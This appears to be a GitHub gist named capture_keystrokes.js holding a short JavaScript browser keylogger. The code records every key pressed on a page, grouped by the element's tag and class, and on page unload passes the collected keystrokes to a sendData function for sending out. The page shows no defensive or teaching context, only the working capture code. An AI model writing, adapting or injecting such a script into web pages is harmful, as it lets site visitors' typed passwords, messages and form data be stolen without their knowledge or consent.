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Katerina198b/capture_keystrokes.js

Last active February 4, 2021 18:03
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capture_keystrokes.js
const map = {};
document.body.addEventListener("keydown", ({key, target}) => {
if (!target) {
return;
}
const mapKey = target.tagName + (target.className || '');
map[mapKey] = (map[mapKey] || '') + key;
});
window.addEventListener("unload", function() {
sendData(map);
});
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